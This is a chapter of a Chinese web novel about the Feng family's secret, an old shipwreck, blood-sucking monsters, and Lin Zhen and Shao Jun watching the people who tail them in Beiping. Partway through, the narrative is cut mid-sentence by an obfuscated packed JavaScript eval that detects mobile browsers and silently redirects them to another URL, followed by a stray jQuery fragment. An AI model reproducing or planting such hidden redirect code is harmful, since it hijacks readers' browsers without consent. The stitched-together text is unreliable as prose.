红日西落,霞光浮动。
冯公馆。
冯景恒站在院里,两指间夹着香烟,目光微垂正看着跟前的兰花盆栽,半晌都没动。
脑海中回想起昨日与谢家小姐的谈话,他忽地扬唇,眉间透出丝丝意想不到。
谢家小姐那番言语,倒是显得自己有些以小人之心度君子之腹了。
不过如此也好,将来解除婚约的阻力会更少,唯独只有一点他想不通。
谢家是名门望族,家大业大,而这位谢家小姐,头上有两个哥哥,皆是翘楚,年少有为;父亲又是华侨商会会长,自丧偶后便没有再娶,对底下儿女极好,是个人人称赞佩服的痴情种。
这按道理来说,谢小姐就是个金枝玉叶的主儿,要风得风,要雨得雨。可她偏偏想逃离谢家,就此远走高飞。
而且,冯景恒还注意到对方提起谢家时,眉眼间透出的厌恶,虽浅淡,但他绝对不会看错。
古往今来,深宅大院都少不了一些腌臜事,正所谓家丑不可外扬,或许谢家也有许多见不得人的东西。
不过,冯景恒对别人家的家事并不感兴趣,他想要的,不过是达成与谢家小姐的合作,解除这场荒诞的婚约。
就在这时,身后传来略显杂乱的脚步声,于三儿额角冒着汗,三步并作两步走到他身后,低声道:“二少,找到人了!”
冯景恒转身,露出这几日来独一份的真心实意的笑来,语气松快:“在哪儿?”
说着,他便抬脚要往外走,没走几步又忽然停住,心中的欣喜被理智拉住,回头又给于三儿吩咐道:“叫人注意着,有什么情况立刻回报。”
于三儿微愣,下意识反问:“二少这会儿不去找吗?”
冯景恒摇头,若此刻上门去,那不是在明晃晃地告诉林臻,自己一直派人在跟踪她吗?
于三儿也没耽搁,没待多久,又立马急匆匆地走了。
日头完全西落,院里的灯亮了起来,透出温暖的橘光来。
冯景恒正要进屋,大门口扫过来一道晃眼的白色灯光,汽车轮胎的摩擦声压过大理石,径直朝着他开来。
冯景恒没回头,甚至都不打算停下等着车来,他抬脚就要往里走,被道威严嗓音喊住。
“站住!”冯家主摇下车窗,还未下车,目光却已经盯着冯景恒。
片刻后,车门打开,拐杖落在地板上的声音传入冯景恒的耳中,他终于回头,面无表情地看向冯家主。
冯家主瞧着他那副模样,气不打一处来,撑着拐杖敲了两下地板,骂道:“你这是什么表情?怎么如今是叫人都不会了?”
冯景恒没动,他越过冯家主将视线投向自家大哥,冯川寒不动声色的朝着他摇摇头,示意他别跟父亲犟。
“父亲,”冯景恒出声,语气仍旧是淡淡的,他只看了眼冯家主,就将视线光明正大地转向冯川寒,“哥。”
冯家主冷哼,先一步走进屋里,边走边问,“我听说今日谢家的小丫头随你母亲一道来家里了,相处得如何?”
冯景恒道:“母亲很喜欢。”
“你别给我打什么马虎眼,我问的是你与她相处如何!”冯家主气极,回头瞪了眼他,“老子告诉你,这婚事成也得成,不成也得成!”
冯景恒站在原地,看着冯家主的背影,忽然笑了,随即他说道:“成啊,父亲若是愿意将我想知道的事情悉数告知,您老就是想儿子今日就把人娶回家,儿子都能给您办满意了。”
“阿恒,你……”冯川寒正要出声,却已经来不及了。
冯家主将手中盘着的串珠丢了出去,一头砸在冯景恒的额头上,怒气冲冲:“这就是你跟你老子说话的态度!什么叫你想知道的事?啊?你想知道什么?”
冯景恒偏着头,笑了声:“不过就是关于多年前海难的事,父亲气性为何这么大?是有什么东西不能让我们知道吗?还是,只有我不知道?”
良久的沉默后,冯家主慢慢舒出口气,那股被儿子勾出来的火气莫名其妙的又消失了,他转身往楼上走,最后站在楼梯的转角处,道:“你们两个跟我来书房。”
这么多年了,会吸人血的怪物又一次出现,若不是叫崔西华亲自去临城确认,他压根不会相信。
如今,自己儿子又紧盯着这事不放,再刻意瞒下去,或许只会让情况越来越糟。
当务之急,是查出到底是什么人又养了吸血怪物,若不及时斩草除根,恐怕多年前的惨剧又会重演,而这一次,冯家能否再次逃过,也犹未可知。
看着父亲的身影消失在楼梯口,冯景恒与冯川寒对视一眼,随即跟了上去。
与此同时,小佛堂。
“太太,老爷把大少爷和二少爷喊去书房了。”王妈站在旁边,微微躬身,替冯太太点了三炷香,递过去她手边。
冯太太接过,双手拜了拜,起身将香插入炉里,视线径直落在佛像上,许久后,她叹了口气,“王妈,你说我当年是不是就该带着两个孩子远走高飞?“
“太太……”
“走罢,如今已是多说无益。”冯太太摇摇头,抬手搭上王妈的手,转身离开小佛堂。
香炉里的香,不知何时已经灭了。
-
梅花胡同。
转眼间,林臻三人已在北平待了数月。
年关将至,大街小巷越发热闹起来,坊间巷里多的是置办年货的人家。
陈正年大包小包地提了不少东西,他身形敏锐极快地穿行在人群里,很快消失在人海中。
“小姐,”陈正年回到家,将东西一股脑儿地放好,他急匆匆地上楼,敲响了林臻的卧房,“小姐?”
隔着几步远的距离,书房门被人打开,邵钧从里头探出身来,手上还拿着本书,应声道:“这里。”
陈正年连忙走过去,他抹了把头上的汗,回禀道:“小姐,方才我去买东西,瞧见有几个生面孔在巷口探头探脑的,好像在盯着咱家。”
林臻坐在桌后,正低头翻看着从殷曼香处拿来的信件,来回就两三封信,而且只是寥寥几语,全是关于崔西华动向的消息。
前两日她与邵钧又去了趟凌霄楼,特地跟殷曼香要了彼此来往的书信,其中内容的确与对方说得别无二致,上头的墨迹也已特地辨认过,的确是她的字迹。
这也越发让林臻确定,自己确实因为爆炸案忘记了许多事情。
包括师父与自己为何要查崔西华,也包括邵钧的来历,甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461537|167893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是所有事情的真相。
可惜,她如今是毫无头绪,什么也想不起来。
陈正年说完,却发现林臻与邵钧似乎毫不意外,他挠了挠头,小心翼翼地开口问道:“您二位,早就知道了?”
“知道,”邵钧先开了口,他抬眸看向陈正年,意有所指地说道,“要钓大鱼得放长线,你说呢,陈管事?”
陈正年哽住:“……所以不告诉我,是因为我就是那条长线?”
邵钧坐直身体,微微一笑:“你是饵。”
”别逗他了,”林臻将书信收好,示意陈正年往前来,将书信递过去给他,吩咐道,“你把这些送回凌霄楼。”
停了几秒,林臻又补充道:“从前巷西街走,不用刻意隐藏身份,也不用避人。”
陈正年点头,十分严肃:“我知道了,这就去!”
书房里又只剩下林臻两人,发财早就不知道上哪儿野去了。
邵钧将手里的书往旁边随意一丢,问道:“可有看出什么不对劲儿?”
林臻摇头,就只是普通的书信,来回也就那么几句话,而且字里行间的确也只是仅限金钱交易下的消息往来。
“既如此,另外那波人该怎么处理?”这两日来梅花胡同打探的不止一波人,方才被陈正年发现的那几人,身份早就被林臻弄清楚了。
虽然来的都是生面孔,但有心一查,林臻自然也就知道了派人来的是于三儿。
而于三儿听谁的指令,也显而易见。
林臻起身,一锤定音,道:“自然是,引蛇出洞。”
她倒是要看看,除了冯景恒,还有谁会如此关心自己的动向,说不定这又是一个新的突破口。
正所谓敌不动,我不动,只可惜若对方一直窝着没反应,那也只会耽误时间,不如就逼对方一把。
来个引蛇出洞,好弄清楚他们是受何人指使,为何而来。
邵钧跟着起身,走在林臻身后,饶有兴趣地问:“引蛇出洞?你打算怎么做?”
“来北平这么久了,还没有好好逛逛呢,”林臻笑着,抬眼看向邵钧,道,“邵先生应该也没来过北平,既如此,便一起罢。”
邵钧看着林臻难得的笑容,单侧眉往上挑了挑:“小仙姑难得的邀约,不去倒是显得我不识好歹了。”
两人各自回屋,不多时就已经换好衣裳出来,不出意外又是套同色系的衣服,就好似特意约好如此穿的一样。
林臻后知后觉终于有了反应,她上上下下地瞧了片刻,眉头轻轻拧着,忽然说道:“你是故意将衣服定做成这样子的。”
林臻向来对这些没什么兴趣,所以,邵钧来了后,便全由他一手打理,对方送来什么,她就穿什么,也没有过多在意。
今日这一瞧,倒是让她回过味儿来了。
邵钧抬手握拳挡在嘴边,忍不住轻咳两声,笑道:“小仙姑,总算是发现了啊,如何,喜欢吗?”
林臻还是拧着眉,留下一句“你闲得没事”便下了楼。
邵钧站在原地没动,视线落在她纤细的身影上,嘴角漾开笑来。
没几秒,他又想起前几日鬼鬼祟祟跟踪的冯家人,脸上的愉悦瞬间消散,低声嗤笑,姓冯的还真是不死心。